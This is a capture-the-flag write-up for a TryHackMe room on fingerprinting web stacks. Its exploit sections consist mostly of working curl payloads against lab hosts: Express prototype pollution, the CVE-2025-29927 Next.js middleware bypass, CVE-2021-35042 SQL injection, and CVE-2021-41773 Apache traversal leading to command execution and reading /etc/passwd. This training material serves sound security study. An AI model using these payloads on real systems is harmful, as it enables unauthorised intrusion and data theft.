# Modern Web Stacks (TryHackMe)

Link to the challenge on TryHackMe: [**Modern Web Stacks**](https://tryhackme.com/room/modernwebstacks)

## Introduction

During a time-boxed engagement, the first tester to identify `Apache/2.4.49` in a `Server:` header already knows the exact CVE before their teammate has finished running a port scan. The second tester, waiting on scanner output, is still in recon. Stack fingerprinting is not a nice-to-have skill. It is a direct multiplier on exploitation speed.

Every web stack leaks its identity. Headers, cookie names, error messages, URL structure, and HTML source patterns each tell you something specific about what is running. Once you know the stack and the version, you know the attack surface. Generic vulnerability scanners miss authentication bypasses that live in a single middleware function. They miss the RCE that requires understanding a deserialisation protocol. Manual fingerprinting, followed by targeted CVE research, is how experienced red teamers work.

The workflow for every task in this room is the same: identify the stack from observable signals, confirm the version, understand why the vulnerable code pattern exists, and then execute the exploit chain.

**The three-step workflow is applied to every task:**

1.  Fingerprint the stack from HTTP response signals (no exploit payloads yet)
    
2.  Confirm the version and identify the applicable CVE
    
3.  Execute the exploit chain and understand the root cause
    

## **Learning Objectives**

You should have an understanding of the following rooms before starting:

*   Identify a web stack from passive HTTP signals (headers, cookie names, error pages, URL structure) without sending exploit payloads
    
*   Exploit CVE-2025-29927 to bypass Next.js middleware authentication
    
*   Exploit CVE-2021-35042 to extract database contents from a Django application 
    
*   Exploit CVE-2021-41773 to read arbitrary files and execute system commands via `mod_cgi` on Apache 2.4.49
    

## **Prerequisites**

You should have an understanding of the following rooms before starting:

*   [HTTP in Detail](https://tryhackme.com/room/httpindetail)
    
*   [Linux Shells](https://tryhackme.com/room/linuxshells)
    
*   [Networking Essentials](https://tryhackme.com/room/networkingessentials)
    

## MERN Stack

MERN applications are everywhere. The stack (**MongoDB, Express.js, React, Node.js**) powers a large share of modern SaaS products, internal tools, and API backends. Express is the most-deployed Node.js web framework by a significant margin, and its minimal philosophy means developers write a lot of their own utility code. That utility code is often where the vulnerabilities live.

### Stack Identity

MERN apps are the default choice for JavaScript-only shops that want one language across the full stack. On Ubuntu, the typical deployment is Node.js from the NodeSource PPA, Express listening on port `3000` or `5000`, and MongoDB on port `27017`. A reverse proxy (usually Nginx) sits in front in production, but in misconfigured environments and internal tools, the Express process is often directly exposed.

### Fingerprinting the MERN Stack

Before touching any exploit payloads, identify what you are dealing with. Start with a header check:

```shell
root@tryhackme:~# curl -I MACHINE_IP:3000/
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 68
ETag: W/"44-0T374IjVuBCKvVq78aQtpBIvD2A"
Set-Cookie: connect.sid=s%3A2PyC5xblQ3G0ERkE60uOUddRtPs2jacn.0gAB6ByfrNg3b48tDXARTEBQG0pLlKkBofAsa69W%2FY0; Path=/; HttpOnly
Date: Sun, 03 May 2026 15:00:23 GMT
Connection: keep-alive
Keep-Alive: timeout=5
```

Look for these in the response:

| **Signal** | **Value** | **Confidence** |
| --- | --- | --- |
| `X-Powered-By` header | `Express` | High |
| `Set-Cookie` header | `connect.sid=s%3A...` | High |
| Unhandled route response | `Cannot GET /nonexistent` (plain text) | High |
| Frontend root element | In the HTML body | Medium |

`X-Powered-By: Express` is the primary signal. Express sends this header on every response by default. It is only absent if the developer explicitly called `app.disable('x-powered-by')` or added the Helmet middleware. Most developers don't bother. Reverse proxies and PaaS platforms (Vercel, Cloudflare, Railway) often strip this header before it reaches the client. If `X-Powered-By` is absent, fall back to cookie name and unhandled-route format as secondary signals.

The `connect.sid` cookie comes from the `express-session` middleware. It is present when the app uses `express-session` with `saveUninitialized: true` (the default for many apps). With `saveUninitialized: false`, the recommended setting for login sessions, the cookie only appears after a session is created. Absence of `connect.sid` does not rule out Express.

![](https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1771765213861 align="center")

**Note:** If `saveUninitialized: false` is configured (the default in newer express-session docs for login-only sessions), the cookie is absent on unauthenticated requests. Absence of `connect.sid` does not confirm the absence of Express.

To confirm the Express unhandled-route fingerprint, request a nonexistent path from the AttackBox terminal:

```shell
root@tryhackme:~# curl http://MACHINE_IP:3000/nonexistent
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /nonexistent</pre>
</body>
</html>
```

An Express app with default settings returns plain text: `Cannot GET /nonexistent`. This is distinct from Django (which shows an HTML error page), Apache (which shows a styled 403 or 404), and Next.js (which returns an HTML page with a styled error). That plain-text response is unambiguous.

### Exploiting MERN

You have confirmed the stack: Express on port `3000` with a `connect.sid` session cookie. In a pentest against a MERN application, the next step after fingerprinting is API surface enumeration. MERN apps commonly expose JSON APIs for profile updates, preferences, and user settings, and developers often write their own utility functions to apply partial updates to user objects. Those utility functions are where prototype pollution typically lives.

The app on port `3000` exposes two endpoints relevant to this task:

| **Endpoint** | **Method** | **Purpose** |
| --- | --- | --- |
| `/api/user/update` | POST | Accepts JSON and merges it into the session user object |
| `/api/admin/flag` | GET | Returns a flag if the requesting user has admin access |

Start by confirming the admin route is gated. Save your session cookie first, then probe the protected endpoint by issuing the following commands:

```shell
root@tryhackme:~# curl -c cookies.txt http://MACHINE_IP:3000/
MERN Lab App
root@tryhackme:~# curl -b cookies.txt http://MACHINE_IP:3000/api/admin/flag
{"error":"Not authorized"}
```

Expected: `{"error":"Not authorized"}`. The check is working for regular session users who have `isAdmin` property.

Now look at what the update endpoint accepts under normal conditions. A legitimate client might send a name or email change:

```shell
root@tryhackme:~# curl -b cookies.txt -X POST http://MACHINE_IP:3000/api/user/update -H "Content-Type: application/json" -d '{"name": "Alice", "email":"alice@example.com"}'
{"status":"updated"}
```

Expected: `{"status":"updated"}`. The endpoint accepts arbitrary JSON keys and merges them into the user object with no key filtering. That merge function is the attack surface.

Every JavaScript object inherits from a shared root called `Object.prototype`. When a merge function receives `{"proto": {"isAdmin": true}}` without filtering the `proto` key, it writes `isAdmin: true` directly onto `Object.prototype`, not onto any individual user object. Every object in the Node.js process that looks up `.isAdmin` will then find `true` via the prototype chain, even if the property was never explicitly set on that object. The admin flag endpoint checks `currentUser.isAdmin` on a plain session object with no own `isAdmin` property, making it the exact target. Some hardened deployments filter `__proto__` at the input layer; in those cases, the `constructor.prototype` path (`{"constructor": {"prototype": {"isAdmin": true}}}`) reaches `Object.prototype` through a different route and can bypass those filters. You can learn more about the [Prototype Pollution](https://tryhackme.com/room/prototypepollution) room.

### Getting Admin Flag

The vulnerable merge function in the app looks like this:

```shell
function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object' && source[key] !== null) {
      if (!target[key]) target[key] = {};
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}
```

When the payload `{"__proto__": {"isAdmin": true}}` reaches this function, it finds `__proto__` in the source keys, sees it is an object, and recurses. Inside the recursion, `target["__proto__"]` is a reference to `Object.prototype` not a regular key, so it sets `Object.prototype.isAdmin = true`. The admin route then reads `currentUser.isAdmin`, finds no own property, walks the prototype chain, and returns the flag.

```plaintext
app.get('/api/admin/flag', (req, res) => {
  const currentUser = req.session.currentUser || {};
  if (currentUser.isAdmin) {               // resolves true via prototype chain
    res.json({ flag: '[REDACTED]' });
  } else {
    res.status(403).json({ error: 'Not authorized' });
  }
});
```

**Step 1: Send the Prototype Pollution Payload**

```shell
root@tryhackme:~# curl -b cookies.txt -X POST http://MACHINE_IP:3000/api/user/update -H "Content-Type: application/json" -d '{"__proto__": {"isAdmin": true}}'
{"status":"updated"}
```

The server responds with `{"status":"updated"}`. The merge has run and `Object.prototype.isAdmin` is now `true` in the Node.js process.

**Step 2: Request the Admin Flag**

```shell
root@tryhackme:~# curl -b cookies.txt http://MACHINE_IP:3000/api/admin/flag
{"flag":"[REDACTED]"}
```

The `isAdmin` check resolves `true` via the prototype chain, and the response contains the flag.

This is one of the many techniques that can be used to exploit modern web stacks.

### Answer the questions below

What HTTP response header confirms an Express.js backend is running? (Answer Format: Header-Name: Value) `X-Powered-By: Express`

What is the name of the Express session cookie you will use to replay requests after polluting the prototype? (Answer Format: cookie-name) `connect.sid`

Send the prototype pollution payload to the merge endpoint. What is the flag returned by the admin route after the bypass succeeds? `THM{pr0t0_REDACTED}`

```shell
curl -b cookies.txt http://10.112.168.195:3000/api/admin/flag
{"flag":"THM{pr0t0_REDACTED}"}
```

## React / Next.js

Express is the foundation of the MERN stack we just exploited. Next.js builds on top of it, adding abstractions like the App Router, React Server Components, and middleware that create a different and more severe attack surface.

### Stack Identity

**Next.js** is the dominant **React** framework for production applications. It is what you will find behind most investor dashboards, customer portals, and marketing sites built in the last three years. On Ubuntu, it runs as a Node.js process under a dedicated user (**node** or **www-data**), typically started with `npm start` after `npm run build`. The App Router (introduced in Next.js 13, default since 14) enables React Server Components, which make the CVEs CVE-2025-29927(opens in new tab) and CVE-2025-55182(opens in new tab) possible.

Note: Both CVE-2025-29927 and CVE-2025-55182 affect Next.js apps in production build mode (`npm run build && npm start`). They do not manifest in development mode (`next dev`). If fingerprinting confirms a development server, neither CVE applies.

### React Server Components and the Flight Protocol

The App Router runs React components directly on the server. Instead of shipping JavaScript to the browser, the server executes the component and streams the result to the client using a binary-like format called the RSC Flight protocol. That streaming channel, the endpoint that serves this payload, is the attack surface for CVE-2025-55182.

### Fingerprinting Next.js

Start with passive fingerprinting. No exploit payloads yet.

```shell
root@tryhackme:~# curl -I http://MACHINE_IP:3001/
HTTP/1.1 200 OK
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
x-nextjs-cache: HIT
x-nextjs-prerender: 1
x-nextjs-stale-time: 4294967294
X-Powered-By: Next.js
Cache-Control: s-maxage=31536000,
ETag: "1pqu4ojvif3at"
Content-Type: text/html; charset=utf-8
Content-Length: 4277
Connection: keep-alive
Keep-Alive: timeout=5
```

Once done, look for the following patterns:

![](https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/3b211da6-f54d-4d20-a9dc-4737ae48475b.png align="center")

`window.__next_f` in the page source is the definitive App Router indicator. It is the hydration array for React Server Component data, injected by Next.js into every App Router page's HTML output. It does not appear in Pages Router or any other framework.

## **CVE-2025-29927: Middleware Bypass**

In Next.js, middleware is a function that runs before every request reaches a page. Developers use it as the central gatekeeper; authentication checks, session validation, and redirect logic all live here. Because middleware sits in front of every route, it is the single most common place developers implement access control in Next.js applications.

The `/dashboard` route in this app is a typical example. The middleware checks for a valid session cookie. Without one, it redirects to `/login`. Let us confirm that it is working:

```shell
root@tryhackme:~# curl -v http://MACHINE_IP:3001/dashboard
Trying MACHINE_IP:3001...
Connected to MACHINE_IP port 3001
GET /dashboard HTTP/1.1
Host: MACHINE_IP:3001
Accept: /
/login
```

Middleware is working. No cookie, no dashboard, the server sends us straight to `/login`.

Now for the vulnerability. Next.js uses an internal header called `x-middleware-subrequest` to prevent infinite loops. When middleware calls itself recursively (for example, to forward a modified request to another route), Next.js attaches this header so it knows not to run middleware again on that forwarded request. It is a performance and safety mechanism built into the framework itself.

The critical flaw: Next.js never checked whether `x-middleware-subrequest` was coming from an internal process or from an external client. If you include the header in your own request, Next.js treats it the same as an internal subrequest and skips middleware entirely. The authentication check never runs.

The header value encodes the middleware module path, repeated five times. For an app with a root-level `middleware.ts` file:

```shell
root@tryhackme:~# curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://MACHINE_IP:3001/dashboard
...
DashboardFlag: [REDACTED]
...
```

The middleware check is bypassed entirely. The request is routed directly to the dashboard page handler, which returns the flag.

This is CVE-2025-29927, a CVSS 9.1 Critical. Every Next.js application that relied on middleware for authentication was exposed to complete authentication bypass with a single header. No credentials, no brute force, no session token, just a header value that Next.js itself trusted without validation.

![](https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1771765216406 align="center")

**Info:** If the app uses a `/src` directory structure, the header value changes to `src/middleware` repeated five times. Always check whether `middleware.ts` lives at the project root or inside `src/`.

**CVE-2025-55182: Practise in a Dedicated Room**

CVE-2025-55182 is an unauthenticated RCE via insecure deserialisation in the RSC Flight protocol parser. It affects Next.js 14 (>= 14.3.0-canary.77) and Next.js 15.x (< 15.2.3) when paired with React 19, requires no authentication, and carries a CVSS score of 10.0 Critical. Jackpot Panda expanded from initial `id`/`whoami` reconnaissance to credential theft and Cobalt Strike staging within the same exploitation wave as CVE\-2025-29927.

A dedicated room with a full exploit walkthrough, weaponised payload analysis, and detection coverage is available here: [CVE\-2025-55182: React2Shell](https://tryhackme.com/room/react2shellcve202555182).

That room covers the Flight protocol deserialisation flaw in depth, walks through the exploit chain from probe to command execution, and includes the detection and remediation perspective that is out of scope for this fingerprinting-focused task.

### Answer the questions below

What HTML artifact in the page source confirms a Next.js App Router application? `window.__next_f`

Send the CVE-2025-29927 bypass header to the protected `/dashboard` route. What flag is displayed on the page? (Answer Format: THM{...}) `THM{m1ddl3w4r3_REDACTED}`

```shell
curl -I http://10.112.168.195:3001/
HTTP/1.1 200 OK
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
x-nextjs-cache: HIT
x-nextjs-prerender: 1
x-nextjs-stale-time: 4294967294
X-Powered-By: Next.js
Cache-Control: s-maxage=31536000, 
ETag: "1pqu4ojvif3at"
Content-Type: text/html; charset=utf-8
Content-Length: 4277
Date: Fri, 22 May 2026 12:29:35 GMT
Connection: keep-alive
Keep-Alive: timeout=5
```

```shell
curl -v http://10.112.168.195:3001/dashboard
*   Trying 10.112.168.195:3001...
* Connected to 10.112.168.195 (10.112.168.195) port 3001
> GET /dashboard HTTP/1.1
> Host: 10.112.168.195:3001
> User-Agent: curl/8.5.0
> Accept: */*
> 
< HTTP/1.1 307 Temporary Redirect
< location: /login
< Date: Fri, 22 May 2026 12:29:55 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
< Transfer-Encoding: chunked
< 
* Connection #0 to host 10.112.168.195 left intact
/login
```

```shell
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://10.112.168.195:3001/dashboard
<!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-5adebf9f62dc3001.js"/><script src="/_next/static/chunks/4bd1b696-92810b4b4ece63ad.js" async=""></script><script src="/_next/static/chunks/517-c94eb82a0c6a5f4b.js" async=""></script><script src="/_next/static/chunks/main-app-428d9450bbd1040e.js" async=""></script><script src="/_next/static/chunks/polyfills-42372ed130431b0a.js" noModule=""></script></head><body><div><h1>Dashboard</h1><p>Flag: <!-- -->THM{m1ddl3w4r3_REDACTED}</p></div><script src="/_next/static/chunks/webpack-5adebf9f62dc3001.js" async=""></script><script>(self.__next_f=self.__next_f||[]).push([0])</script><script>self.__next_f.push([1,"1:\"$Sreact.fragment\"\n2:I[5244,[],\"\"]\n3:I[3866,[],\"\"]\n4:I[6213,[],\"OutletBoundary\"]\n6:I[6213,[],\"MetadataBoundary\"]\n8:I[6213,[],\"ViewportBoundary\"]\na:I[4835,[],\"\"]\n"])</script><script>self.__next_f.push([1,"0:{\"P\":null,\"b\":\"IyPMp2dPffgCvzoMaXQu4\",\"p\":\"\",\"c\":[\"\",\"dashboard\"],\"i\":false,\"f\":[[[\"\",{\"children\":[\"dashboard\",{\"children\":[\"__PAGE__\",{}]}]},\"$undefined\",\"$undefined\",true],[\"\",[\"$\",\"$1\",\"c\",{\"children\":[null,[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[\"$\",\"body\",null,{\"children\":[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"segmentPath\":[\"children\"],\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[],[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}\"}}],[\"$\",\"h1\",null,{\"className\":\"next-error-h1\",\"style\":{\"display\":\"inline-block\",\"margin\":\"0 20px 0 0\",\"padding\":\"0 23px 0 0\",\"fontSize\":24,\"fontWeight\":500,\"verticalAlign\":\"top\",\"lineHeight\":\"49px\"},\"children\":404}],[\"$\",\"div\",null,{\"style\":{\"display\":\"inline-block\"},\"children\":[\"$\",\"h2\",null,{\"style\":{\"fontSize\":14,\"fontWeight\":400,\"lineHeight\":\"49px\",\"margin\":0},\"children\":\"This page could not be found.\"}]}]]}]}]]],\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}]}]}]]}],{\"children\":[\"dashboard\",[\"$\",\"$1\",\"c\",{\"children\":[null,[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"segmentPath\":[\"children\",\"dashboard\",\"children\"],\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":\"$undefined\",\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}]]}],{\"children\":[\"__PAGE__\",[\"$\",\"$1\",\"c\",{\"children\":[[\"$\",\"div\",null,{\"children\":[[\"$\",\"h1\",null,{\"children\":\"Dashboard\"}],[\"$\",\"p\",null,{\"children\":[\"Flag: \",\"THM{m1ddl3w4r3_REDACTED}\"]}]]}],null,[\"$\",\"$L4\",null,{\"children\":\"$L5\"}]]}],{},null,false]},null,false]},null,false],[\"$\",\"$1\",\"h\",{\"children\":[null,[\"$\",\"$1\",\"pR5zvVgn2w9-PAIRCboM2\",{\"children\":[[\"$\",\"$L6\",null,{\"children\":\"$L7\"}],[\"$\",\"$L8\",null,{\"children\":\"$L9\"}],null]}]]}],false]],\"m\":\"$undefined\",\"G\":[\"$a\",\"$undefined\"],\"s\":false,\"S\":true}\n"])</script><script>self.__next_f.push([1,"9:[[\"$\",\"meta\",\"0\",{\"name\":\"viewport\",\"content\":\"width=device-width, initial-scale=1\"}]]\n7:[[\"$\",\"meta\",\"0\",{\"charSet\":\"utf-8\"}]]\n"])</script><script>self.__next_f.push([1,"5:null\n"])</script></body></html>
```

## Django

The MERN and Next.js stacks you have worked with run on Node.js. **Django** is the Python-native alternative framework that government agencies, newsrooms, and SaaS companies with Python engineering teams reach for first. The ORM is supposed to shield developers from SQL injection. For most queries, it does. But when developers bypass the ORM and concatenate user input directly into SQL, or when the ORM itself has a flaw in a deprecated code path, the database is wide open.

CVE-2021-35042(opens in new tab) is a SQL injection vulnerability in Django's order\_by() query method, rated **CVSS 9.8 Critical** and requiring no authentication to exploit.

### Stack Identity

Django powers a large share of Python-backed web applications. On Ubuntu, it runs under Gunicorn or Django's built-in development server, typically on port `8000`. The Django admin panel at `/admin/` and CSRF middleware are enabled by default in virtually every Django project. The admin panel alone is a reliable stack signal before you send a single exploit payload.

### Fingerprinting Django

Start with a header check against the running app:

```shell
root@tryhackme:~# curl -I "http://10.82.95.115:8000/products/"
HTTP/1.1 200 OK
Date: Sun, 03 May 2026 14:33:20 GMT
Server: WSGIServer/0.2 CPython/3.10.12
Content-Type: text/html; charset=utf-8
X-Frame-Options: DENY
Vary: Cookie
Content-Length: 407
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Set-Cookie:  csrftoken=9vMaeHlURA0uOYnP9qB2BrDNTvNPoD0JPyecxWNxV7aohswgtAtBvwbLWaOTYIF7; expires=Sun, 02 May 2027 14:33:20 GMT; Max-Age=31449600; Path=/; SameSite=Lax
```

Once done, look for the following patterns:

| **Signal** | **Value** | **Confidence** |
| --- | --- | --- |
| `Server` header | `WSGIServer/0.2 CPython/X.X.X` | High |
| `Cookie` name | `csrftoken` | High |
| `X-Frame-Options` header | `DENY` | High |
| `X-Content-Type-Options` header | `nosniff` | High |
| `Referrer-Policy` header | `same-origin` | Medium |
| HTML source (any `POST` form) | `csrfmiddlewaretoken` hidden field | High |

The `csrfmiddlewaretoken` hidden field is the most reliable Django fingerprint. Django's `CsrfViewMiddleware` injects it into every `POST` form automatically. Browse to `/admin/` and view source; it is always there. You will not find this field in Express, Rails, or any Next.js application.

The combination of `X-Frame-Options: DENY`, `X-Content-Type-Options: nosniff`, and `Referrer-Policy: same-origin` appearing together signals Django's `SecurityMiddleware`. No other framework applies this combination by default.

**The App: Products Catalogue**

The app running on port `8000` is a simple product catalogue. Browse to `/products/` to see what we are dealing with:

```shell
root@tryhackme:~# curl -s "http://MACHINE_IP:8000/products/"
<!DOCTYPE html>
<html>
<head><title>Products</title></head>
<body>
<h1>Products</h1>
<form method="get" action="">
  <input type="hidden" name="csrfmiddlewaretoken" value="w4VrwSsqEYpBZL4ROD1c4CgYbqw0zjZZeiXQVYGmkUjVDIce9k6wq7XvaORkbAkL">
  <input type="hidden" name="order" value="">
</form>
<ul>

  <li>Gadget B - $19.99</li>

  <li>Tool C - $4.99</li>

  <li>Widget A - $9.99</li>

</ul>
</body>
</html>
```

Two things stand out. First, there is a `csrfmiddlewaretoken` confirming Django. Second, there is an `order` parameter in the form; the user controls the sort column. That parameter is our injection point.

### CVE-2021-35042: The Vulnerability

The view that handles `/products/` builds its SQL query by concatenating the `order` parameter directly into an `ORDER BY` clause:

```shell
order = self.request.GET.get('order', 'name')
sql = (
    'SELECT id, name, price, description FROM products_product '
    f'ORDER BY (CASE WHEN (1=1) THEN {order} ELSE name END)'
)
```

Whatever you put in `?order=` lands inside the `THEN` branch of the SQL with no validation. The `CASE WHEN` structure is always true `(1=1)`, so the `THEN` branch always executes, making it the injection entry point.

The `updatexml()` technique exploits how MySQL handles XPath errors. `updatexml(1, xpath_expr, 1)` raises an error if the XPath expression is invalid. By wrapping a `SELECT` inside the XPath argument with `concat(0x7e, ...)`, MySQL includes the query result in the error message. `0x7e` is the hex for `~`, which acts as a delimiter to make the extracted value easy to identify. Django's debug mode (DEBUG = True) surfaces these MySQL errors in the HTTP 500 response body.

Warning: The `updatexml()` technique only works when `DEBUG = True` is set in `settings.py`. A production app with DEBUG = False returns a generic 500 page with no error details. In this lab, the debug setting is on, but on a real engagement, verify this first. If debug output is suppressed, blind time-based injection using `SLEEP()` is the fallback.

### Exploitation Walkthrough

**Step 1: Extract MySQL Version**

Confirm the injection is working by extracting a known value: the database version. The `@@version` system variable is always available and gives you an immediate confirmation that your payload is executing. The 500 error response also reveals the Django version in its debug output:

```shell
root@ip-10-82-126-238:~# curl -s "http://MACHINE_IP:8000/products/?order=updatexml(1,concat(0x7e,(select%20@@version)),1)" | grep -o '~[0-9][^&]*'
~8.0.45-0ubuntu0.22.04.1
```

The `~` prefix confirms your payload executed and the database responded. You are injecting into MySQL 8.0. The same 500 error page also contains `Django Version: 3.2.4` in the debug output.

**Step 2: Extract the Database Name**

Now find out which database the application is using:

```shell
root@ip-10-82-126-238:~# curl -s "http://MACHINE_IP:8000/products/?order=updatexml(1,concat(0x7e,(select%20database())),1)" | grep -o '~[0-9a-zA-Z_][^&]*'
~vuln_db
```

The target database is `vuln_db`. This is just an example, and we can provide this information to tools like Sqlmap to further exploit and dump the database.

### Answer the questions below

What hidden form field in Django POST forms is a near-certain stack fingerprint?

`csrfmiddlewaretoken`

Using manual curl payloads, what is the name of the vulnerable database? `vuln_db`

## LAMP

LAMP (Linux, Apache, MySQL, PHP) is one of the earliest and most widely adopted web application stacks. It became popular because all its components are open-source, stable, and easy to deploy. Linux provides the operating system, Apache handles web requests, MySQL manages the database, and PHP processes dynamic content. For years, it powered much of the internet, including blogs, forums, and enterprise apps. Even today, many legacy systems and production environments still rely on LAMP due to its simplicity and reliability.

### Stack Identity

On Ubuntu, Apache usually runs under `www-data`, serves files from `/var/www/html`, and passes dynamic requests to PHP through `mod_php` or PHP-FPM. MySQL stores the application data, while PHP handles server-side logic. This classic Linux, Apache, MySQL, and PHP combination creates common attack surfaces such as exposed PHP files, database errors, weak file permissions, and misconfigured Apache/PHP settings.

### Fingerprinting the LAMP Stack

Start with a header check. Apache advertises its version in every response:

```shell
root@tryhackme:~# curl -I http://MACHINE_IP:8080/
HTTP/1.1 200 OK
Server: Apache/2.4.49 (Unix)
Last-Modified: Mon, 11 Jun 2007 18:53:14 GMT
ETag: "2d-432a5e4a73a80"
Accept-Ranges: bytes
Content-Length: 45
Content-Type: text/html
```

`Server: Apache/2.4.49 (Unix)`is everything you need. This exact version maps to CVE-2021-41773(opens in new tab) and nothing else. Apache also repeats the version in 404 error page footers. Request a non-existent path to confirm:

```shell
root@tryhackme:~# curl -v http://MACHINE_IP:8080/nonexistent 2>&1
*   Trying MACHINE_IP:8080...
* TCP_NODELAY set
* Connected to MACHINE_IP (10.82.95.115) port 8080 (#0)
> GET /nonexistent HTTP/1.1
> Host: MACHINE_IP:8080
> User-Agent: curl/7.68.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 404 Not Found
< Date: Sat, 02 May 2026 21:16:56 GMT
< Server: Apache/2.4.49 (Unix)
< Content-Length: 196
< Content-Type: text/html; charset=iso-8859-1
< 
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
* Connection #0 to host MACHINE_IP left intact
```

The final signal is `/cgi-bin/`. A 403 Forbidden means the directory exists, and listing is disabled. `mod_cgi` is configured. A 404 would mean it is not present at all. For this exploit, `mod_cgi` is required:

```shell
root@tryhackme:~# curl -v http://MACHINE_IP:8080/cgi-bin/ 2>&1
*   Trying 10.82.95.115:8080...
* TCP_NODELAY set
* Connected to MACHINE_IP (10.82.95.115) port 8080 (#0)
> GET /cgi-bin/ HTTP/1.1
> Host: MACHINE_IP:8080
> User-Agent: curl/7.68.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 403 Forbidden
< Date: Sat, 02 May 2026 21:19:21 GMT
< Server: Apache/2.4.49 (Unix)
< Content-Length: 199
< Content-Type: text/html; charset=iso-8859-1
< 
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
</body></html>
* Connection #0 to host MACHINE_IP left intact
```

Once done, look for the following patterns:

| **Signal** | **Value** | **Confidence** |
| --- | --- | --- |
| `Server` header | Apache/2.4.49 (Unix) | High - exact CVE match |
| 404 error page footer | Apache/2.4.49 version string | High |
| `/cgi-bin/` response | 403 Forbidden (not 404) | High - `mod_cgi` enabled |

## **CVE-2021-41773: The Vulnerability**

Apache 2.4.49 introduced a change to the `ap_normalize_path()` function. The change inadvertently broke the path traversal filter. Normally, Apache blocks any URL containing `../` before it reaches the filesystem. The bug is in the decode order: the traversal filter runs before full URL decoding.

When you send `.%2e/` (a literal dot followed by the URL-encoded dot and a slash), the filter sees `.%2e/` and does not recognise it as `../`. When Apache passes the URL to the filesystem, the OS resolves `.%2e/` as `../`. The filter was bypassed.

On its own, this is directory traversal for file read. What makes it critical is the interaction with `mod_cgi`. The `/cgi-bin/` path has CGI execution enabled. When the traversal resolves to an executable binary like `/bin/sh`, Apache runs it as a CGI script and passes the HTTP `POST` body to its stdin.

**Why** `--path-as-is` **Is Required**

curl normalises URLs before sending them. Without `--path-as-is`, curl cleans up `.%2e/` sequences before the request leaves your machine, and the server receives a normal path. The flag tells curl to send the URL exactly as typed.

![](https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1771765214579 align="center")

**Warning:** If your traversal requests return 403 instead of executing, the most common cause is a missing `--path-as-is` flag. curl silently normalises the traversal sequences, and the server never sees the encoded dots.

## **Exploitation**

You have confirmed Apache 2.4.49 on port `8080`, with `mod_cgi` enabled on `/cgi-bin/`. You have a direct path to unauthenticated RCE.

**Step 1: Confirm Remote Code Execution**

Traverse from `/cgi-bin/` up to `/bin/sh` using four `.%2e/` segments. Pass shell commands in the POST body. The `echo Content-Type: text/plain; echo;` preamble is required by the CGI spec. Apache needs a valid HTTP header block before the body, or it returns a 500. The bare `echo` outputs the required blank separator line:

```shell
root@tryhackme:~# curl -s --path-as-is "http://MACHINE_IP:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"   --data 'echo Content-Type: text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
```

RCE confirmed. The Apache process is running as `daemon`. You have code execution on the server with the privileges of the web process.

**Step 2: Read System Accounts**

With code execution, you can read any file the `daemon` user can access. Read `/etc/passwd` to enumerate system accounts inside the container:

```shell
root@tryhackme:~# curl -s --path-as-is "http://MACHINE_IP:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"   --data 'echo Content-Type: text/plain; echo; cat /etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
